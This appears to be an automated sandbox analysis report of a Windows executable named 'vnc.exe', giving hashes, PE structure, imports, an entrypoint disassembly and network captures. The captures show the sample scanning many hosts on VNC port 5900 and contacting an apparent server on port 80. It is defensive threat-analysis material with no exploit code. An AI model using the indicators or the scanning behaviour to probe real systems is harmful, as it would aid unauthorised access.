46.4.142.72	Germany	24940	HETZNER-ASDE	false
68.146.140.177	Canada	6327	SHAW-ShawCommunicationsIncCA	false
133.177.179.238	Japan	721	DNIC-ASBLK-00721-00726-DoDNetworkInformationCenterUS	false
67.120.190.134	United States	7018	ATT-INTERNET4-ATTServicesIncUS	false
62.104.74.146	Germany	5430	FREENETDEfreenetDatenkommunikationsGmbHDE	false
40.126.175.107	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCK-MicrosoftCorporationUS	false
142.89.117.60	Canada	822	STJOSEPHS-AS-StJosephsHealthCareLondonCA	false
128.140.101.42	Iran (ISLAMIC Republic Of)	48431	MAXNET-ASIR	true
43.185.221.128	Japan	4249	LILLY-AS-EliLillyandCompanyUS	false
205.224.154.115	United States	7155	VIASAT-SP-BACKBONE-ViaSatIncUS	false
141.203.86.96	Austria	6720	MAGWIENAT	false
195.163.91.123	Sweden	5400	BTGB	false
88.125.20.255	France	12322	PROXADFR	false
90.63.178.121	France	3215	AS3215FR	false
49.171.147.226	Korea Republic of	17858	POWERVIS-AS-KRLGPOWERCOMMKR	true
50.88.161.77	United States	33363	BHN-TAMPA-BRIGHTHOUSENETWORKSLLCUS	false
48.194.82.42	United States	2686	ATGS-MMD-AS-ATTGlobalNetworkServicesLLCUS	false
42.71.27.222	Taiwan; Republic of China (ROC)	17421	EMOME-TWLongDistanceMobileBusinessGroupTW	false
184.122.15.24	United States	7922	COMCAST-7922-ComcastCableCommunicationsLLCUS	false
131.24.155.98	United States	385	AFCONC-BLOCK1-AS-754thElectronicSystemsGroupUS	false
129.105.76.124	United States	103	NWU-AS-NorthwesternUniversityUS	false
112.236.246.101	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	true
111.133.110.67	China	24138	CRNET_BJ_IDC-CNNIC-APChinaTietongTelecommunicationCorpor	false
77.119.8.250	Austria	25255	H3G-AUSTRIA-ASAT	false
144.96.120.33	United States	3634	SFASU-AS-StephenFAustinStateUniversityUS	true
161.49.141.146	United States	1767	ILIGHT-NET-IndianaHigherEducationTelecommunicationSyst	true
111.199.252.130	China	4808	CHINA169-BJChinaUnicomBeijingProvinceNetworkCN	false
182.149.144.132	China	4809	CHINATELECOM-CORE-WAN-CN2ChinaTelecomNextGenerationCarr	false
166.83.91.174	New Zealand	7029	WINDSTREAM-WindstreamCommunicationsIncUS	false
166.93.187.238	Reserved	23537	-ReservedAS-ZZ	true
78.69.94.156	Sweden	3301	TELIANET-SWEDENTeliaCompanySE	false
155.218.92.88	United States	1495	DNIC-ASBLK-01494-01495-HeadquartersUSAISCUS	false
170.247.163.90	Bolivia	27882	TelefnicaCelulardeBoliviaSABO	false
42.9.91.185	Korea Republic of	4249	LILLY-AS-EliLillyandCompanyUS	false
144.237.105.68	United States	1239	SPRINTLINK-SprintUS	false
95.149.44.124	United Kingdom	12576	ORANGE-PCSGB	false
157.31.205.147	United States	4318	ADC-ASN-Freeport-McMoRanIncUS	true
111.180.235.251	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
130.71.243.113	United States	21951	STOLAF-StOlafCollegeUS	false
170.44.249.81	United States	264957	CoopercitrusCooperativadeProdutoresRuraisBR	false
56.243.122.44	United States	2686	ATGS-MMD-AS-ATTGlobalNetworkServicesLLCUS	false
202.55.106.10	New Zealand	18353	HDSVDCNZ-AS-APReveraNZLimitedNZ	false
42.247.10.127	China	4538	ERX-CERNET-BKBChinaEducationandResearchNetworkCenter	false
112.184.208.171	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	false
198.80.105.203	United States	2914	NTT-COMMUNICATIONS-2914-NTTAmericaIncUS	false
45.207.239.146	Seychelles	37353	MacroLANZA	false
194.186.111.173	Russian Federation	3216	SOVAM-ASRU	false
79.3.143.171	Italy	3269	ASN-IBSNAZIT	false
34.181.144.87	United States	2686	ATGS-MMD-AS-ATTGlobalNetworkServicesLLCUS	false
90.54.174.172	France	3215	AS3215FR	false
65.175.206.22	United States	32448	METROCAST-1-MetroCastCablevisionofNewHampshireLLC	false
64.138.215.192	United States	21565	AS21565-HorryTelephoneCooperativeIncUS	false
81.207.179.9	Netherlands	1136	KPNThismacroreflectsourfiltering-policyonNL	false
31.190.185.119	Italy	24608	WINDTRE-ASIT	false
118.33.227.146	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	false
126.4.62.168	Japan	17676	GIGAINFRASoftbankBBCorpJP	true

Static File Info

General
File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.815358159405711
TrID:	Win32 Executable (generic) a (10002005/4) 99.94% Clipper DOS Executable (2020/12) 0.02% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% VXD Driver (31/22) 0.00%
File name:	vnc.exe
File size:	172544
MD5:	642c7ad7b1608f00ba6159250b41ef75
SHA1:	7457baff6c5ee8b66e588f96fa5cd818525061e5
SHA256:	1646c8b7d3b5d04d471a88636ea9ac45ff46b82445e3b5af8f648acdc561a5a3
SHA512:	ed49cfc67bb9cc6c491c4fb2e34ede2de88a2c724bad884831ea1d13dd78e470c632af041ee4595ae33881eb2417af2c166375a634dc4e324b1a33954a2b3fa9
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................................................................................................................PE..L...L'.Z...

File Icon

Static PE Info

General
Entrypoint:	0x4051dd
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	32BIT_MACHINE, EXECUTABLE_IMAGE
DLL Characteristics:	TERMINAL_SERVER_AWARE, NX_COMPAT
Time Stamp:	0x5AD2274C [Sat Apr 14 16:07:40 2018 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	5ca22220895fb191dd3d6ca0e33c12fe

Entrypoint Preview

Instruction
call 00007FB71502570Fh
jmp 00007FB71501F57Eh
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword ptr [ebp+08h]
xor ecx, ecx
cmp eax, dword ptr [0041C178h+ecx*8]
je 00007FB71501F715h
inc ecx
cmp ecx, 2Dh
jc 00007FB71501F6F3h
lea ecx, dword ptr [eax-13h]
cmp ecx, 11h
jnbe 00007FB71501F710h
push 0000000Dh
pop eax
pop ebp
ret
mov eax, dword ptr [0041C17Ch+ecx*8]
pop ebp
ret
add eax, FFFFFF44h
push 0000000Eh
pop ecx
cmp ecx, eax
sbb eax, eax
and eax, ecx
add eax, 08h
pop ebp
ret
call 00007FB7150243A1h
test eax, eax
jne 00007FB71501F708h
mov eax, 0041C2E0h
ret
add eax, 08h
ret
call 00007FB71502438Eh
test eax, eax
jne 00007FB71501F708h
mov eax, 0041C2E4h
ret
add eax, 0Ch
ret
mov edi, edi
push ebp
mov ebp, esp
push esi
call 00007FB71501F6E7h
mov ecx, dword ptr [ebp+08h]
push ecx
mov dword ptr [eax], ecx
call 00007FB71501F687h
pop ecx
mov esi, eax
call 00007FB71501F6C1h
mov dword ptr [eax], esi
pop esi
pop ebp
ret
mov edi, edi
push ebp
mov ebp, esp
sub esp, 4Ch
mov eax, dword ptr [0041C320h]
xor eax, ebp
mov dword ptr [ebp-04h], eax
push ebx
xor ebx, ebx
push esi
mov esi, dword ptr [ebp+08h]
push edi
mov dword ptr [ebp-2Ch], ebx
mov dword ptr [ebp-1Ch], ebx
mov dword ptr [ebp-20h], ebx
mov dword ptr [ebp-28h], ebx
mov dword ptr [ebp-24h], ebx

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x1b06c	0x3c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x28000	0x5478	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x2e000	0x1314	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x19838	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x17000	0x15c	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x155e8	0x15600	False	0.580340826023	data	6.68387968854	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.rdata	0x17000	0x484e	0x4a00	False	0.36328125	data	5.106867062	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x1c000	0xb65c	0x8800	False	0.723288143382	COM executable for DOS	6.63972976673	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.rsrc	0x28000	0x5478	0x5600	False	0.146302688953	data	6.58485942835	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x2e000	0x1e1c	0x2000	False	0.483154296875	data	4.76994781468	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_BITMAP	0x2b2b0	0xe40	data	Thai	Thailand
RT_BITMAP	0x282e0	0x2fd0	data	Thai	Thailand
RT_BITMAP	0x2c0f0	0xda8	data	Thai	Thailand
RT_STRING	0x2d418	0x5e	data	Thai	Thailand
RT_STRING	0x2d210	0x80	data	Thai	Thailand
RT_STRING	0x2d028	0x7c	data	Thai	Thailand
RT_STRING	0x2d290	0xca	data	Thai	Thailand
RT_STRING	0x2d0a8	0xc8	data	Thai	Thailand
RT_STRING	0x2d170	0x9a	data	Thai	Thailand
RT_STRING	0x2cfd8	0x4a	data	Thai	Thailand
RT_STRING	0x2d360	0xb8	data	Thai	Thailand
RT_ACCELERATOR	0x2cfb8	0x20	data	Thai	Thailand
RT_VERSION	0x2ce98	0x11c	SVr3 curses screen image, little-endian	Thai	Thailand

Imports

DLL

Import

KERNEL32.dll

RaiseException, GetCPInfoExW, GetLastError, GetProcAddress, SetConsoleOutputCP, GetVolumePathNameA, WriteProfileSectionW, FindAtomA, GetModuleHandleA, FlushFileBuffers, GetFirmwareEnvironmentVariableA, CompareStringW, SetFileApisToANSI, VirtualQuery, CloseHandle, CreateFileA, WideCharToMultiByte, InterlockedIncrement, InterlockedDecrement, InterlockedExchange, MultiByteToWideChar, Sleep, InitializeCriticalSection, DeleteCriticalSection, EnterCriticalSection, LeaveCriticalSection, HeapFree, TerminateProcess, GetCurrentProcess, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsDebuggerPresent, GetStartupInfoW, GetCPInfo, RtlUnwind, LCMapStringA, LCMapStringW, HeapAlloc, HeapCreate, VirtualFree, VirtualAlloc, HeapReAlloc, GetModuleHandleW, TlsGetValue, TlsAlloc, TlsSetValue, TlsFree, SetLastError, GetCurrentThreadId, ExitProcess, WriteFile, GetStdHandle, GetModuleFileNameA, GetModuleFileNameW, FreeEnvironmentStringsW, GetEnvironmentStringsW, GetCommandLineW, SetHandleCount, GetFileType, GetStartupInfoA, QueryPerformanceCounter, GetTickCount, GetCurrentProcessId, GetSystemTimeAsFileTime, GetStringTypeA, GetStringTypeW, HeapSize, GetACP, GetOEMCP, IsValidCodePage, GetUserDefaultLCID, GetLocaleInfoA, EnumSystemLocalesA, IsValidLocale, SetFilePointer, GetConsoleCP, GetConsoleMode, InitializeCriticalSectionAndSpinCount, LoadLibraryA, GetLocaleInfoW, SetStdHandle, WriteConsoleA, GetConsoleOutputCP, WriteConsoleW

ADVAPI32.dll

ReportEventW

Version Infos

Description	Data
FileVersion	1.0.0.1
ProductVersion	1.0.0.1

Possible Origin

Language of compilation system	Country where language is spoken	Map
Thai	Thailand

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 30, 2018 14:43:56.616981983 CET	49164	5900	192.168.1.81	193.84.183.108
Oct 30, 2018 14:43:56.666254044 CET	49165	5900	192.168.1.81	52.193.187.127
Oct 30, 2018 14:43:56.697638988 CET	49166	5900	192.168.1.81	196.248.164.228
Oct 30, 2018 14:43:56.729926109 CET	49167	5900	192.168.1.81	70.159.137.143
Oct 30, 2018 14:43:56.761068106 CET	49168	5900	192.168.1.81	209.161.102.68
Oct 30, 2018 14:43:56.791598082 CET	49169	5900	192.168.1.81	164.187.57.216
Oct 30, 2018 14:43:56.830262899 CET	49170	5900	192.168.1.81	206.95.101.8
Oct 30, 2018 14:43:56.886456013 CET	49171	5900	192.168.1.81	47.206.134.177
Oct 30, 2018 14:43:56.916749954 CET	49172	5900	192.168.1.81	209.13.64.156
Oct 30, 2018 14:43:56.947592974 CET	49173	5900	192.168.1.81	73.106.85.227
Oct 30, 2018 14:43:57.011095047 CET	49174	5900	192.168.1.81	110.132.218.73
Oct 30, 2018 14:43:57.087554932 CET	49175	5900	192.168.1.81	64.197.198.131
Oct 30, 2018 14:43:57.120466948 CET	49176	5900	192.168.1.81	60.92.163.200
Oct 30, 2018 14:43:57.149914980 CET	49177	5900	192.168.1.81	102.205.233.176
Oct 30, 2018 14:43:57.190326929 CET	49178	5900	192.168.1.81	179.9.122.200
Oct 30, 2018 14:43:57.216331005 CET	49179	5900	192.168.1.81	86.210.123.121
Oct 30, 2018 14:43:57.243201971 CET	49180	5900	192.168.1.81	31.143.153.87
Oct 30, 2018 14:43:57.277638912 CET	49181	5900	192.168.1.81	181.217.178.184
Oct 30, 2018 14:43:57.306293964 CET	49182	5900	192.168.1.81	103.234.94.196
Oct 30, 2018 14:43:57.336340904 CET	49183	5900	192.168.1.81	206.124.175.43
Oct 30, 2018 14:43:57.368155003 CET	49184	5900	192.168.1.81	136.162.147.66
Oct 30, 2018 14:43:57.401170015 CET	49185	5900	192.168.1.81	159.67.53.50
Oct 30, 2018 14:43:57.431776047 CET	49186	5900	192.168.1.81	197.175.77.110
Oct 30, 2018 14:43:57.464096069 CET	49187	5900	192.168.1.81	206.134.175.39
Oct 30, 2018 14:43:57.495223045 CET	49188	5900	192.168.1.81	50.224.155.109
Oct 30, 2018 14:43:57.531239986 CET	49189	5900	192.168.1.81	205.105.12.187
Oct 30, 2018 14:43:57.556632042 CET	49190	5900	192.168.1.81	121.228.140.22
Oct 30, 2018 14:43:57.588797092 CET	49191	5900	192.168.1.81	131.219.226.240
Oct 30, 2018 14:43:57.619772911 CET	49192	5900	192.168.1.81	140.207.122.167
Oct 30, 2018 14:43:57.649200916 CET	49193	5900	192.168.1.81	65.183.241.20
Oct 30, 2018 14:43:57.682853937 CET	49194	5900	192.168.1.81	124.61.174.27
Oct 30, 2018 14:43:57.712884903 CET	49195	5900	192.168.1.81	189.96.222.211
Oct 30, 2018 14:43:57.744664907 CET	49196	5900	192.168.1.81	209.128.204.248
Oct 30, 2018 14:43:57.775165081 CET	49197	5900	192.168.1.81	110.252.88.100
Oct 30, 2018 14:43:57.806550980 CET	49198	5900	192.168.1.81	124.94.28.194
Oct 30, 2018 14:43:57.837809086 CET	49199	5900	192.168.1.81	39.63.119.47
Oct 30, 2018 14:43:57.868988991 CET	49200	5900	192.168.1.81	140.98.14.242
Oct 30, 2018 14:43:57.900386095 CET	49201	5900	192.168.1.81	32.55.121.23
Oct 30, 2018 14:43:57.932605982 CET	49202	5900	192.168.1.81	178.52.40.2
Oct 30, 2018 14:43:57.964409113 CET	49203	5900	192.168.1.81	148.188.202.201
Oct 30, 2018 14:43:57.995917082 CET	49204	5900	192.168.1.81	49.15.45.130
Oct 30, 2018 14:43:58.026149035 CET	49205	5900	192.168.1.81	197.100.95.35
Oct 30, 2018 14:43:58.057324886 CET	49206	5900	192.168.1.81	118.60.32.207
Oct 30, 2018 14:43:58.088500023 CET	49207	5900	192.168.1.81	134.6.87.33
Oct 30, 2018 14:43:58.124392033 CET	49208	5900	192.168.1.81	41.158.24.64
Oct 30, 2018 14:43:58.150170088 CET	49209	5900	192.168.1.81	56.83.252.224
Oct 30, 2018 14:43:58.181360960 CET	49210	5900	192.168.1.81	198.88.89.118
Oct 30, 2018 14:43:58.213104963 CET	49211	5900	192.168.1.81	182.126.7.55
Oct 30, 2018 14:43:58.244328022 CET	49212	5900	192.168.1.81	181.243.78.59
Oct 30, 2018 14:43:58.277297020 CET	49213	5900	192.168.1.81	197.240.184.209
Oct 30, 2018 14:43:58.307988882 CET	49214	5900	192.168.1.81	146.34.67.227
Oct 30, 2018 14:43:58.342077971 CET	49215	5900	192.168.1.81	60.20.193.230
Oct 30, 2018 14:43:58.370054960 CET	49216	5900	192.168.1.81	82.141.115.207
Oct 30, 2018 14:43:58.432274103 CET	49217	5900	192.168.1.81	204.53.116.244
Oct 30, 2018 14:43:58.463232994 CET	49218	5900	192.168.1.81	199.10.125.48
Oct 30, 2018 14:43:58.497062922 CET	49219	5900	192.168.1.81	121.88.217.116
Oct 30, 2018 14:43:58.526232958 CET	49220	5900	192.168.1.81	198.250.210.43
Oct 30, 2018 14:43:58.556086063 CET	49221	5900	192.168.1.81	197.254.63.202
Oct 30, 2018 14:43:58.556463957 CET	5900	49211	182.126.7.55	192.168.1.81
Oct 30, 2018 14:43:58.588329077 CET	49222	5900	192.168.1.81	178.80.75.134
Oct 30, 2018 14:43:58.619726896 CET	49223	5900	192.168.1.81	128.251.148.136
Oct 30, 2018 14:43:58.649494886 CET	49224	5900	192.168.1.81	149.53.217.82
Oct 30, 2018 14:43:58.683832884 CET	49225	5900	192.168.1.81	185.148.190.153
Oct 30, 2018 14:43:58.712840080 CET	49226	5900	192.168.1.81	112.74.105.168
Oct 30, 2018 14:43:58.738044977 CET	5900	49221	197.254.63.202	192.168.1.81
Oct 30, 2018 14:43:58.744853020 CET	49227	5900	192.168.1.81	82.43.9.38
Oct 30, 2018 14:43:58.775736094 CET	49228	5900	192.168.1.81	97.92.239.78
Oct 30, 2018 14:43:58.839212894 CET	49229	5900	192.168.1.81	92.166.214.103
Oct 30, 2018 14:43:58.870588064 CET	49230	5900	192.168.1.81	33.247.126.241
Oct 30, 2018 14:43:58.904238939 CET	49231	5900	192.168.1.81	181.176.55.185
Oct 30, 2018 14:43:58.933063984 CET	49232	5900	192.168.1.81	144.10.18.167
Oct 30, 2018 14:43:58.995474100 CET	49233	5900	192.168.1.81	95.31.171.105
Oct 30, 2018 14:43:59.026984930 CET	49234	5900	192.168.1.81	137.242.165.190
Oct 30, 2018 14:43:59.034451962 CET	5900	49226	112.74.105.168	192.168.1.81
Oct 30, 2018 14:43:59.053034067 CET	49211	5900	192.168.1.81	182.126.7.55
Oct 30, 2018 14:43:59.097384930 CET	49235	5900	192.168.1.81	169.23.27.120
Oct 30, 2018 14:43:59.106534958 CET	49236	5900	192.168.1.81	152.136.35.86
Oct 30, 2018 14:43:59.132689953 CET	49237	5900	192.168.1.81	195.215.75.184
Oct 30, 2018 14:43:59.159559011 CET	49238	5900	192.168.1.81	35.51.23.100
Oct 30, 2018 14:43:59.198858976 CET	49239	5900	192.168.1.81	53.106.222.131
Oct 30, 2018 14:43:59.220552921 CET	49240	5900	192.168.1.81	195.34.61.233
Oct 30, 2018 14:43:59.272129059 CET	49221	5900	192.168.1.81	197.254.63.202
Oct 30, 2018 14:43:59.317637920 CET	49241	5900	192.168.1.81	190.34.221.99
Oct 30, 2018 14:43:59.365945101 CET	49242	5900	192.168.1.81	59.125.87.9
Oct 30, 2018 14:43:59.389971018 CET	49243	5900	192.168.1.81	128.231.188.3
Oct 30, 2018 14:43:59.396387100 CET	5900	49211	182.126.7.55	192.168.1.81
Oct 30, 2018 14:43:59.425029993 CET	49244	5900	192.168.1.81	78.178.39.174
Oct 30, 2018 14:43:59.450469017 CET	49245	5900	192.168.1.81	45.97.205.110
Oct 30, 2018 14:43:59.456223011 CET	5900	49221	197.254.63.202	192.168.1.81
Oct 30, 2018 14:43:59.540126085 CET	49246	5900	192.168.1.81	57.205.165.184
Oct 30, 2018 14:43:59.568449020 CET	49226	5900	192.168.1.81	112.74.105.168
Oct 30, 2018 14:43:59.590071917 CET	49247	5900	192.168.1.81	105.160.65.146
Oct 30, 2018 14:43:59.635782957 CET	49248	5900	192.168.1.81	201.3.109.74
Oct 30, 2018 14:43:59.653872967 CET	49249	5900	192.168.1.81	125.80.85.136
Oct 30, 2018 14:43:59.662079096 CET	49164	5900	192.168.1.81	193.84.183.108
Oct 30, 2018 14:43:59.662156105 CET	49165	5900	192.168.1.81	52.193.187.127
Oct 30, 2018 14:43:59.699827909 CET	49250	5900	192.168.1.81	62.46.166.133
Oct 30, 2018 14:43:59.707884073 CET	49251	5900	192.168.1.81	151.60.134.2
Oct 30, 2018 14:43:59.729557037 CET	49252	5900	192.168.1.81	44.100.213.199
Oct 30, 2018 14:43:59.730313063 CET	49166	5900	192.168.1.81	196.248.164.228
Oct 30, 2018 14:43:59.730351925 CET	49167	5900	192.168.1.81	70.159.137.143
Oct 30, 2018 14:43:59.771497011 CET	49168	5900	192.168.1.81	209.161.102.68
Oct 30, 2018 14:43:59.778222084 CET	49253	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:43:59.782680988 CET	49254	5900	192.168.1.81	154.226.131.82
Oct 30, 2018 14:43:59.806500912 CET	49255	5900	192.168.1.81	119.146.253.116
Oct 30, 2018 14:43:59.835032940 CET	80	49253	92.63.197.48	192.168.1.81
Oct 30, 2018 14:43:59.835269928 CET	49253	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:43:59.838200092 CET	49253	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:43:59.839270115 CET	49256	5900	192.168.1.81	111.34.119.126
Oct 30, 2018 14:43:59.865767002 CET	49169	5900	192.168.1.81	164.187.57.216
Oct 30, 2018 14:43:59.865811110 CET	49170	5900	192.168.1.81	206.95.101.8
Oct 30, 2018 14:43:59.868984938 CET	49257	5900	192.168.1.81	115.44.143.80
Oct 30, 2018 14:43:59.893942118 CET	5900	49226	112.74.105.168	192.168.1.81
Oct 30, 2018 14:43:59.895010948 CET	80	49253	92.63.197.48	192.168.1.81
Oct 30, 2018 14:43:59.903466940 CET	49258	5900	192.168.1.81	141.232.31.220
Oct 30, 2018 14:43:59.924330950 CET	80	49253	92.63.197.48	192.168.1.81
Oct 30, 2018 14:43:59.924412966 CET	49253	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:43:59.934695959 CET	49259	5900	192.168.1.81	136.103.41.236
Oct 30, 2018 14:43:59.946578979 CET	49171	5900	192.168.1.81	47.206.134.177
Oct 30, 2018 14:43:59.946626902 CET	49211	5900	192.168.1.81	182.126.7.55
Oct 30, 2018 14:43:59.946655989 CET	49172	5900	192.168.1.81	209.13.64.156
Oct 30, 2018 14:43:59.946672916 CET	49173	5900	192.168.1.81	73.106.85.227
Oct 30, 2018 14:43:59.962929964 CET	49260	5900	192.168.1.81	162.129.183.76
Oct 30, 2018 14:43:59.974730968 CET	49221	5900	192.168.1.81	197.254.63.202
Oct 30, 2018 14:43:59.994657040 CET	49261	5900	192.168.1.81	91.13.42.157
Oct 30, 2018 14:44:00.025794983 CET	49262	5900	192.168.1.81	107.228.51.243
Oct 30, 2018 14:44:00.055421114 CET	49263	5900	192.168.1.81	179.216.17.136
Oct 30, 2018 14:44:00.068543911 CET	49174	5900	192.168.1.81	110.132.218.73
Oct 30, 2018 14:44:00.092255116 CET	49264	5900	192.168.1.81	40.36.190.149
Oct 30, 2018 14:44:00.118563890 CET	49265	5900	192.168.1.81	97.102.169.61
Oct 30, 2018 14:44:00.119493008 CET	49175	5900	192.168.1.81	64.197.198.131
Oct 30, 2018 14:44:00.119534969 CET	49176	5900	192.168.1.81	60.92.163.200
Oct 30, 2018 14:44:00.146471024 CET	49177	5900	192.168.1.81	102.205.233.176
Oct 30, 2018 14:44:00.150013924 CET	49266	5900	192.168.1.81	82.90.32.243
Oct 30, 2018 14:44:00.180093050 CET	49267	5900	192.168.1.81	49.171.147.226
Oct 30, 2018 14:44:00.193229914 CET	49178	5900	192.168.1.81	179.9.122.200
Oct 30, 2018 14:44:00.213805914 CET	49268	5900	192.168.1.81	79.56.91.61
Oct 30, 2018 14:44:00.224474907 CET	49179	5900	192.168.1.81	86.210.123.121
Oct 30, 2018 14:44:00.240158081 CET	49180	5900	192.168.1.81	31.143.153.87
Oct 30, 2018 14:44:00.243576050 CET	49269	5900	192.168.1.81	206.145.15.236
Oct 30, 2018 14:44:00.271568060 CET	49181	5900	192.168.1.81	181.217.178.184
Oct 30, 2018 14:44:00.274903059 CET	49270	5900	192.168.1.81	198.153.44.151
Oct 30, 2018 14:44:00.289855957 CET	5900	49211	182.126.7.55	192.168.1.81
Oct 30, 2018 14:44:00.303019047 CET	49182	5900	192.168.1.81	103.234.94.196
Oct 30, 2018 14:44:00.308733940 CET	49271	5900	192.168.1.81	170.134.28.234
Oct 30, 2018 14:44:00.334347010 CET	49183	5900	192.168.1.81	206.124.175.43
Oct 30, 2018 14:44:00.338435888 CET	49272	5900	192.168.1.81	93.167.77.41
Oct 30, 2018 14:44:00.365792036 CET	49184	5900	192.168.1.81	136.162.147.66
Oct 30, 2018 14:44:00.370795012 CET	49273	5900	192.168.1.81	124.55.239.223
Oct 30, 2018 14:44:00.396322012 CET	49226	5900	192.168.1.81	112.74.105.168
Oct 30, 2018 14:44:00.400860071 CET	49274	5900	192.168.1.81	133.22.19.69
Oct 30, 2018 14:44:00.412038088 CET	49185	5900	192.168.1.81	159.67.53.50
Oct 30, 2018 14:44:00.427681923 CET	49186	5900	192.168.1.81	197.175.77.110
Oct 30, 2018 14:44:00.437131882 CET	49275	5900	192.168.1.81	76.69.46.175
Oct 30, 2018 14:44:00.446213007 CET	63349	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:44:00.459105015 CET	49187	5900	192.168.1.81	206.134.175.39
Oct 30, 2018 14:44:00.463658094 CET	49276	5900	192.168.1.81	189.99.80.150
Oct 30, 2018 14:44:00.490677118 CET	49188	5900	192.168.1.81	50.224.155.109
Oct 30, 2018 14:44:00.495409966 CET	49277	5900	192.168.1.81	174.26.128.22
Oct 30, 2018 14:44:00.521998882 CET	49189	5900	192.168.1.81	205.105.12.187
Oct 30, 2018 14:44:00.523699045 CET	53	63349	8.8.8.8	192.168.1.81
Oct 30, 2018 14:44:00.526994944 CET	49278	5900	192.168.1.81	150.50.19.101
Oct 30, 2018 14:44:00.553391933 CET	49190	5900	192.168.1.81	121.228.140.22
Oct 30, 2018 14:44:00.558499098 CET	49279	5900	192.168.1.81	195.69.116.52
Oct 30, 2018 14:44:00.583889008 CET	49191	5900	192.168.1.81	131.219.226.240
Oct 30, 2018 14:44:00.615256071 CET	49192	5900	192.168.1.81	140.207.122.167
Oct 30, 2018 14:44:00.620225906 CET	49280	5900	192.168.1.81	170.105.169.42
Oct 30, 2018 14:44:00.646619081 CET	49193	5900	192.168.1.81	65.183.241.20
Oct 30, 2018 14:44:00.652142048 CET	49281	5900	192.168.1.81	120.19.5.44
Oct 30, 2018 14:44:00.682951927 CET	49282	5900	192.168.1.81	141.59.84.62
Oct 30, 2018 14:44:00.693223000 CET	49194	5900	192.168.1.81	124.61.174.27
Oct 30, 2018 14:44:00.708897114 CET	49195	5900	192.168.1.81	189.96.222.211
Oct 30, 2018 14:44:00.717504025 CET	49283	5900	192.168.1.81	205.138.73.124
Oct 30, 2018 14:44:00.740228891 CET	49196	5900	192.168.1.81	209.128.204.248
Oct 30, 2018 14:44:00.745529890 CET	49284	5900	192.168.1.81	130.18.17.31
Oct 30, 2018 14:44:00.771473885 CET	49197	5900	192.168.1.81	110.252.88.100
Oct 30, 2018 14:44:00.775172949 CET	49285	5900	192.168.1.81	52.107.224.109
Oct 30, 2018 14:44:00.802890062 CET	49198	5900	192.168.1.81	124.94.28.194
Oct 30, 2018 14:44:00.806206942 CET	5900	49226	112.74.105.168	192.168.1.81
Oct 30, 2018 14:44:00.807817936 CET	49286	5900	192.168.1.81	162.128.126.164
Oct 30, 2018 14:44:00.834201097 CET	49199	5900	192.168.1.81	39.63.119.47
Oct 30, 2018 14:44:00.839107037 CET	49287	5900	192.168.1.81	163.207.56.238
Oct 30, 2018 14:44:00.865602016 CET	49200	5900	192.168.1.81	140.98.14.242
Oct 30, 2018 14:44:00.871180058 CET	49288	5900	192.168.1.81	181.139.50.179
Oct 30, 2018 14:44:00.896930933 CET	49201	5900	192.168.1.81	32.55.121.23
Oct 30, 2018 14:44:00.902221918 CET	49289	5900	192.168.1.81	198.77.87.105
Oct 30, 2018 14:44:00.930272102 CET	49290	5900	192.168.1.81	144.96.120.33
Oct 30, 2018 14:44:00.943269014 CET	49202	5900	192.168.1.81	178.52.40.2
Oct 30, 2018 14:44:00.959127903 CET	49203	5900	192.168.1.81	148.188.202.201
Oct 30, 2018 14:44:00.962985992 CET	49291	5900	192.168.1.81	209.184.75.118
Oct 30, 2018 14:44:00.990375042 CET	49204	5900	192.168.1.81	49.15.45.130
